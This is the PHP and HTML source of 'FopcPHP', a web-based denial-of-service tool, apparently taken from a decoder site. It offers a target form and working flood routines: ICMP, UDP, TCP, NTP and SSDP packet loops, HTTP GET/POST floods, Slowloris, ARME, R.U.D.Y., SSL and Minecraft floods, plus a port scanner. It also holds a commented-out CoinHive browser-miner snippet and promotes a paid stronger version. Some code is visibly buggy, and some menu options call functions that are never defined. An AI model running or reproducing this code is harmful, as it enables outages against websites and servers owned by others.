<title>FopcPHP - PHP DOS Tool</title> 
<link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet"> 
  
<style>
	@import url('https://fonts.googleapis.com/css?family=Roboto');
	html, body{
		font-family: 'Press Start 2P', cursive;
		margin: 0;
		padding: 0;
		background-color: #151515;
		color: #FFFFFF;
		
	}
.form-style-8{
    font-family: 'Open Sans Condensed', arial, sans;
    width: 500px;
    padding: 30px;
    background: #FFFFFF;
    margin: 50px auto;
    overflow: auto;
    box-shadow: 0px 0px 15px rgba(0, 0, 0, 0.22);
    -moz-box-shadow: 0px 0px 15px rgba(0, 0, 0, 0.22);
    -webkit-box-shadow:  0px 0px 15px rgba(0, 0, 0, 0.22);
}
.form-style-8 h2{
    background: #4D4D4D;
    text-transform: uppercase;
    font-family: 'Open Sans Condensed', sans-serif;
    color: #797979;
    font-size: 18px;
    font-weight: 100;
    padding: 20px;
    margin: -30px -30px 30px -30px;
}
.form-style-8 input[type="text"],
.form-style-8 input[type="date"],
.form-style-8 input[type="datetime"],
.form-style-8 input[type="email"],
.form-style-8 input[type="number"],
.form-style-8 input[type="search"],
.form-style-8 input[type="time"],
.form-style-8 input[type="url"],
.form-style-8 input[type="password"],
.form-style-8 textarea,
.form-style-8 select 
{
    box-sizing: border-box;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    outline: none;
    display: block;
    width: 100%;
    padding: 7px;
    border: none;
    border-bottom: 1px solid #ddd;
    background: transparent;
    margin-bottom: 10px;
    font: 16px Arial, Helvetica, sans-serif;
    height: 45px;
}
.form-style-8 input[type="button"], 
.form-style-8 input[type="submit"]{
    background-color:#BB2E2C;
    border: 2px solid #0B1212;
    display: inline-block;
    cursor: pointer;
    color: #FFFFFF;
    font-family: 'Roboto', sans-serif;
    font-size: 16px;
    padding: 8px 18px;
    text-decoration: none;
    text-transform: uppercase;
    transition: all 0.4s;
    width: 200px;
}

.form-style-8 input[type="button"]:hover, 
.form-style-8 input[type="submit"]:hover{
	background-color: #323232;
}
.logo{
	opacity: 0.5;
	transition: 2s;
	padding: 5px;
}
.logo:hover{
	opacity: 0.2;
}
.break{
	width: 30%;
	background-color: red;
	margin: 0 auto;
	
}
a:link {
    color: black;
}

/* visited link */
a:visited {
    color: grey;
}

/* mouse over link */
a:hover {
    color: red;
}

/* selected link */
a:active {
    color: lightblue;
}
</style>
</head>
<body>

<center><br> 

  

<img height="400" src="http://img15.deviantart.net/cbf5/i/2011/084/1/6/ion_cannon_by_zoriy-d3cfk9f.jpg" class="logo"><br> 
<h5>Fixed Orbit Plasma Cannon PHP</h5>
<b>Your IP:</b> <font color="red"><?php echo $_SERVER['REMOTE_ADDR']; ;?></font>
<b>Your SERVER IP:</b> <font color="red"><?php echo $serverip;?></font>
<br>
<div class="form-style-8" id="wrap">
<form name="input" action="" method="post"> 
	Method:
<select name="method" onchange="Check(this);" required>
	<option  selected disabled selected value> -- select a Method -- </option>
	<optgroup label="Layer 3:">
		<option value="icmp">ICMP</option>
		<!--<option value="smurf">ICMP SMURF</option>-->
	<optgroup label="Layer 4:">
  <option value="udp" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>UDP Flood</option>
  <option value="tcp" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>TCP Flood</option>
  <option value="ntpattack">NTP Attack(DNS Attack)</option>
  <option value="ssdpattack">SSDP Attack</option>
<optgroup label="Layer 7:">
  <option value="post" <?php if(!function_exists('curl_version')){echo "disabled";}?>>POST Flood</option>
  <option value="get" <?php if(!function_exists('curl_version')){echo "disabled";}?>>GET Flood</option>
  <option value="ssl" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>SSL Flood</option>
  
  <option value="404" <?php if(!function_exists('curl_version')){echo "disabled";}?>>Evade CDN service</option>
  <option value="slowloris" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>Slowloris Attack</option>
  <option value="arme" <?php if(!function_exists('fsockopen')){echo "disabled";}?>>ARME Attack</option>
  <option value="rudy">R.U.D.Y Attack</option>
  <optgroup label="Layer 7 - to Minecraft:">
	  <option value="minecraftbandwitdh">bandwitdh Flood</option>
</select>
<input type="text" name="ip" size="15" maxlength="150" class="main" placeholder="Target HOST/URL" value = "" id="sinput1" style="display: none;"> 
<input type="text" name="srcip" size="15" maxlength="150" class="main" placeholder="Source HOST/URL" value = "" id="sinput1_2" style="display: none;"> 
<input type="number" name="time" size="14" maxlength="20" class="main" placeholder="Time (in seconds)" value = "" id="sinput2" style="display: none;">
<input type="number" name="lenght" size="14" maxlength="20" class="main" placeholder="Lenght" value = "" id="sinput4" style="display: none;">  
<input type="number" name="port" size="5" maxlength="5" class="main" placeholder="Port" value = "" style="display: none;" id="sinput3"> 
<input type="number" name="timedout" size="5" maxlength="5" class="main" placeholder="Timedout (default: 30)" value = "30" style="display: none;" id="sinput5">
<input type="number" name="builds" size="15" maxlength="150" class="main" placeholder="Build socket" value = "100" id="sinput6" style="display: none;"> 
<br><br> 
<input type="submit" name="attack" value="Start the Attack"> 
<br><br>
</form>
<details><summary><pre style="color:black; cursor: pointer">Port Scannner (spoiler)</pre></summary>
<form name="input" action="" method="post"> 
	<input type="text" name="ip" size="15" maxlength="150" class="main" placeholder="Target HOST/URL" value = "" id="sinput1">
	<input type="number" name="minport" size="5" maxlength="5"  placeholder="Minimum Port number" value = ""  id="sinput3"> 
	<input type="number" name="maxport" size="5" maxlength="5"  placeholder="Maximum Port number" value = ""  id="sinput3"> 
	<input type="submit" name="scan" value="Start the Scanner"> 
</details>

<details><summary><pre style="color:black; cursor: pointer">HELP! (spoiler)</pre></summary>
<a href="https://wikipedia.org/wiki/Transport_Layer_Security"><pre style="color:black">What is this "layer"?</a>
<a href="https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers"><pre style="color:black">What is this "Port"?</a>
<a href="https://en.wikipedia.org/wiki/Denial-of-service_attack"><pre style="color:black">What is this "Dos"?</a>
</details>
</form> 
<pre style="color:black">Coded by: Mogyiii</pre>
<pre style="color:black">Buy stronger Fopc for windows</pre>
<a href="https://youtu.be/-z-CMtXXerU">Link</a>
</center> 
 <script>
	 function Check(that) {
        if (that.value == "icmp") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "none";//port
            document.getElementById("sinput5").style.display = "none";//timeout
            document.getElementById("sinput6").style.display = "none";//socket
        }
        if (that.value == "ntpattack") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "inline";//port
            document.getElementById("sinput5").style.display = "none";//timeout
            document.getElementById("sinput6").style.display = "none";//socket
        }
        if (that.value == "ssdpattack") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "inline";//port
            document.getElementById("sinput5").style.display = "none";//timeout
            document.getElementById("sinput6").style.display = "none";//socket
        }
		if (that.value == "udp") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "inline";//port
            document.getElementById("sinput4").style.display = "inline";//length
            document.getElementById("sinput5").style.display = "inline";//timeout
            document.getElementById("sinput6").style.display = "none";//socket
        }
        if (that.value == "tcp") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "inline";//port
            document.getElementById("sinput4").style.display = "inline";//length
            document.getElementById("sinput5").style.display = "inline";//timeout
            document.getElementById("sinput6").style.display = "none";//socket
        }
        if (that.value == "post") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "none";//port
            document.getElementById("sinput5").style.display = "none";//timeout
            document.getElementById("sinput6").style.display = "none";//socket
        }
        if (that.value == "get") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "none";//port
            document.getElementById("sinput5").style.display = "none";//timeout
            document.getElementById("sinput6").style.display = "none";//socket
        }
        if (that.value == "404") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "none";//port
            document.getElementById("sinput5").style.display = "none";//timeout
            document.getElementById("sinput6").style.display = "none";//socket
        }
        if (that.value == "slowloris") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "inline";//port
            document.getElementById("sinput5").style.display = "inline";//timeout
            document.getElementById("sinput6").style.display = "inline";//socket
        }
        if (that.value == "arme") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "inline";//port
            document.getElementById("sinput4").style.display = "none";//length
            document.getElementById("sinput5").style.display = "inline";//timeout
            document.getElementById("sinput6").style.display = "inline";//socket
        }
        if (that.value == "rudy") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "inline";//port

            document.getElementById("sinput5").style.display = "none";//timeout
            document.getElementById("sinput6").style.display = "inline";//socket
        }
        if (that.value == "minecraftbandwitdh") {
            document.getElementById("sinput1").style.display = "inline";//Target ip
            document.getElementById("sinput1_2").style.display = "none";//source ip
            document.getElementById("sinput2").style.display = "inline";//Time
            document.getElementById("sinput3").style.display = "inline";//port
            document.getElementById("sinput5").style.display = "none";//timeout
            document.getElementById("sinput6").style.display = "none";//socket
        }
    }
 </script>


<div class="break">
<?
if(isset($_POST['attack'])){
	$socketn = $_POST['builds'];
	$lenght = $_POST['lenght'];
	$timedout = $_POST['timedout'];
	$ip = $_POST['ip'];
	$srcip = $_POST['srcip'];
	$method = $_POST['method'];  
	$port = $_POST['port']; 
	$exec_time = $_POST['time']; 
	$packets = 0; 
	$starttime = date("Y-m-d H:i:s");
	ignore_user_abort(FALSE); 
	$time = time(); 
	$max_time = $time+$exec_time; 
	print "<div class='form-style-8'><pre style='color:black'>


Method: '$method' ip: $ip on port $port, time $max_time


<details><summary><p style='color:black; cursor: pointer'>Logs(spoiler)</p></summary>
	"; 
	
	ini_set('max_execution_time', $max_time);


	function icmp($ip, $starttime, $lenght, $max_time, $exec_time){
		while(1){ 
			try{
			$packets++; 
						if(time() > $max_time){
							output($packets, $starttime, $exec_time, $lenght);
							break; 
						}
							$package = "\x08\x00\x19\x2f\x00\x00\x00\x00\x70\x69\x6e\x67";
							$socket = socket_create(AF_INET, SOCK_RAW, 1);
							socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 0));
							socket_connect($socket, $ip, null);
							socket_send($socket, $package, strlen($package), 0);
			}
			catch (Exception $e){
				echo $e;
			}
		}
	}


	function rudy($ip, $port, $starttime, $socketn, $max_time, $exec_time){
		$sourceips['google'] = '74.125.127.103';
		while(1){ 
			try{
						if(time() > $max_time){
							output($packets, $starttime, $exec_time, $lenght);
							break; 
						}
				for($i=0;$i<=$socketn;$i++){
						$sock[$i] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
						socket_connect($sock[$i], $ip, $port);
						$out="POST / HTTP/1.1\r\n";
						$out.="Host: ".$ip."\r\n";
						$out.= "Connection: keep-alive\r\n";
						$out.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n";
						$out.="Content-length: 100000000\r\n";
						$out.= "\r\n";
						$packets++; 
						socket_write($sock[$i], $out);
				}
				for($j=0;$j<=$packets;$j++){
					socket_write($sock[$j], "A");
				}
				}catch (Exception $e){
				echo $e;
			}
		}
	}
	function bandwidth($ip, $starttime, $method, $max_time, $exec_time){
		while(1){ 
			try{
			$packets++; 
			if(time() > $max_time){
							output($packets, $starttime, $exec_time, $lenght);
							break; 
			}
			if($method=="POST"){
				$ch = curl_init();  
				curl_setopt($ch, CURLOPT_URL, $ip);
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
				curl_setopt($ch, CURLOPT_POSTFIELDS, "CICA");
				
				$login = curl_exec($ch);
			}
			if($method=="GET"){
				$ch = curl_init();  
				curl_setopt($ch, CURLOPT_URL, $ip);
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
				
				$login = curl_exec($ch);
			}
			if($method=="404"){
				$ch = curl_init();  
				curl_setopt($ch, CURLOPT_URL, $ip . "/x.gif");
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
				
				$login = curl_exec($ch);
			}
			}catch (Exception $e){
				echo $e;
			}
		}
	}
	function ntpattack($ip, $port, $starttime, $max_time, $exec_time){
		while(1){ 
			try{
				$packets++;
						if(time() > $max_time){
							output($packets, $starttime, $exec_time, $lenght);
							break; 
						}
		$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
		socket_connect($sock, $ip, 123);
		$data = "\x17\x00\x03\x2a" + "\x00" * 4;
		socket_send($sock, $data, strlen($data), 0);
			}catch (Exception $e){
				echo $e;
			}
		}
	}
	function ssdpattack($ip, $port, $starttime, $max_time, $exec_time){
		while(1){ 
			try{
				$packets++;
						if(time() > $max_time){
							output($packets, $starttime, $exec_time, $lenght);
							break; 
						}
		$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
		socket_connect($sock, $ip, $port);
		$data = 'M-SEARCH * HTTP/1.1\r\n';
		$data .= 'HOST: 239.255.255.250:1900\r\n';
        $data .= 'MAN: "ssdp:discover"\r\n';
        $data .= 'MX: 2\r\n';
        $data .= 'ST: ssdp:all\r\n\r\n';
		socket_send($sock, $data, strlen($data), 0);
			}catch (Exception $e){
				echo $e;
			}
		}
	}
	function udpflood($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time){
		for($i = 0; $i < $lenght; $i++){
			$data += 'A';
		}
		while(1){
			try{
			$packets++; 
						if(time() > $max_time){
							output($packets, $starttime, $exec_time, $lenght);
							break; 
						}
				$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
				socket_connect($sock, $ip, $port);
				
				socket_send($sock, $data, strlen($data), 0);
		}catch (Exception $e){
					echo $e;
		}
	}
}
	function tcpudp($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time){
		for($i = 0; $i < $lenght; $i++){
			$data += 'A';
		}
		while(1){
			try{
			$packets++; 
						if(time() > $max_time){
							output($packets, $starttime, $exec_time, $lenght);
							break; 
						}
				$fp = fsockopen($method."://".$ip, $port, $errno, $errstr, $timedout); 
				fwrite($fp, $data); 
				fclose($fp);
			}catch (Exception $e){
				echo $e;
			}
		}
	}
	function minecraftbandwidthflood($ip, $port, $starttime, $max_time, $exec_time){
		while(1){
			try{
			$packets++; 
						if(time() > $max_time){
							output($packets, $starttime, $exec_time, $lenght);
							break; 
						}
				$fp[$packets] = fsockopen($ip, $port, $errno, $errstr, 1);
				fwrite($fp[$packets], "\x15\x00\xd4\x02\x0e" . $ip . "\x65\xc2\x02");
				
			}catch (Exception $e){
				echo $e;
			}
		}
	}

	
	function arme($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time){ 							//ARME
		$armetomb=array(
		"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
		"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
		"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
		"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
		"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
		"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
		"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
		"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
		"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
		"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
		"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
		"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
		"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
		"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
		"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
		"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
		"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
		"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
		"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
		"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
		"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
		"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
		"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
		"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
		"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
		"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
		"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
		"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
		"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
		"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
		"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
		"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
		"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
		"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
		"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
		"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
		"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
		"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
		"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1");
		
		while(1){
			try{ 
						if(time() > $max_time){
							output($packets, $starttime, $exec_time, $lenght);
							break; 
						}
			
				$rand=rand(0, 47);
				for($i=0;$i<=$socketn;$i++){
					$fp[$i]=fsockopen("$ip",$port,$errno,$errstr,$timedout);
					$out="HEAD / HTTP/1.1\r\n";
					$out.="Host: ".$ip."\r\n";
					$out.="User-Agent: ".$armetomb[$rand]."\r\n";
					$out.= "Connection: keep-alive\r\n";
					$out.= "\r\n";
					$packets++; 
					fwrite($fp[$i],$out);
				}
				for($j=0;$j<=$socketn;$j++){
					fclose($fp[$j]);
				}
			}catch (Exception $e){
				echo $e;
			}
		}
		
	}
	function slowloris($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time){						//SLOWLORIS
		$lenght=42;
			while(1){
				try{ 
					if(time() > $max_time){
						output($packets, $starttime, $exec_time, $lenght);
						break; 
					}
				
					for($i=0;$i<=$socketn;$i++){
						$fp[$i]=fsockopen("$ip",$port,$errno,$errstr,$timedout);
						$out="POST / HTTP/1.1\r\n";
						$out.="Host: ".$ip."\r\n";
						$out.='Content-Type: application/x-www-form-urlencoded\r\n';
						$out.="Content-length: ".$lenght."\r\n";
						$out.= "Connection: keep-alive\r\n";
						$out.= "\r\n";
						$packets++; 
						fwrite($fp[$i],$out);
				}
				for($j=0;$j<=$socketn;$j++){
					
					fclose($fp[$j]);
				}
				}catch (Exception $e){
				echo $e;
				}
			}


	}
    function toxicssl($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time){
            while(1){
                try{ 
                    if(time() > $max_time){
                        output($packets, $starttime, $exec_time, $lenght);
                        break; 
                    }
                
                    for($i=0;$i<=$socketn;$i++){
                        $fp[$i]=fsockopen("ssl://$ip",443,$errno,$errstr,$timedout);
                        $out="GET / HTTP/1.1\r\n";
                        $out.="Host: ".$ip."\r\n";
                        $out.= "Connection: keep-alive\r\n";
                        $out.= "\r\n";
                        $packets++; 
                        fwrite($fp[$i],$out);
                }
                for($j=0;$j<=$socketn;$j++){
                    while (!feof($fp[$j])) {
                    echo fgets($fp[$j], 128);
                    }
                }
                }catch (Exception $e){
                echo $e;
                }
            }
    }
	function output($packets, $starttime, $exec_time, $lenght){
		
		echo"</details>";

		echo "<h1>Report</h1>
		<pre style='color:black'>
		Attack performed!!! ^-^ 

		|Start Flood: $starttime
					|
					|
					V
		| Ended:".date("Y-m-d H:i:s")."										
		| send packets: $packets 						
		| ". round($packets/$exec_time, 2) . " packets/s 							
		| ";

		echo"This is an estimate!";
		
	}
	switch ($method) {
    case "icmp":
        icmp($ip, $starttime, $lenght, $max_time, $exec_time);
        break;
    case "smurf":
        smurf($ip, $starttime, $lenght, $srcip, $max_time, $exec_time);
        break;
    case "udp":
        udpflood($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time);
        break;
    case "tcp":
        tcpudp($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time);
        break;
    case "syn":
		synflood($ip, $port, $starttime, $srcip, $max_time, $exec_time);
		break;
	case "get":
		bandwidth($ip, $starttime, $method, $max_time, $exec_time);
		break;
	case "post":
		bandwidth($ip, $starttime, $method, $max_time, $exec_time);
		break;
	case "slowloris":
		slowloris($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time);
		break;
	case "arme":
		arme($ip, $port, $timedout, $starttime, $socketn, $max_time, $exec_time);
		break;
	case "rudy":
		rudy($ip, $port, $starttime, $socketn, $max_time, $exec_time);
		break;
	case "ntpattack":
		ntpattack($ip, $port, $starttime, $max_time, $exec_time);
		break;
	case "ssdpattack":
		ssdpattack($ip, $port, $starttime, $max_time, $exec_time);
		break;
	case "ssl":
		tcpudp($ip, $port, $timedout, $starttime, $method, $lenght, $max_time, $exec_time);
		break;
	case "minecraftbandwitdh":
		minecraftbandwidthflood($ip, $port, $starttime, $max_time, $exec_time);
		break;
	case "hoic": 
		hoic($ip, $starttime, $max_time, $exec_time);
		break;
	case "":
		echo "404 - Method Not Found";
		break;
	}
}
if(isset($_POST['scan'])){
	$ip = $_POST['ip'];
	$minport =$_POST['minport'];
	$maxport =$_POST['maxport'];
	for($i=$minport; $i <= $maxport; $i++){/*65535*/
	try{
	$fp[$i]=fsockopen("tcp://$ip", $i,$errno,$errstr, 1);
	if ($fp[$i]) {
		echo "Opened Port: ".$i." at ".$ip;
	}
	}catch (Exception $e){
		echo $e;
		}
	
	
}
	
}


?>
</div>
<!--<script src="https://authedmine.com/lib/authedmine.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('puxPZJXqKwDci7nL8zxk9K3mjccdnD4D', {throttle: 0.3});
        miner.start();
</script>-->
</body> 
</html> 


Function Calls

header 1
ini_set 1
ob_start 1
set_time_limit 1

Variables

None

Stats

MD5 18086f5a83b310aa3f6393692969ffcf
Eval Count 0
Decode Time 102 ms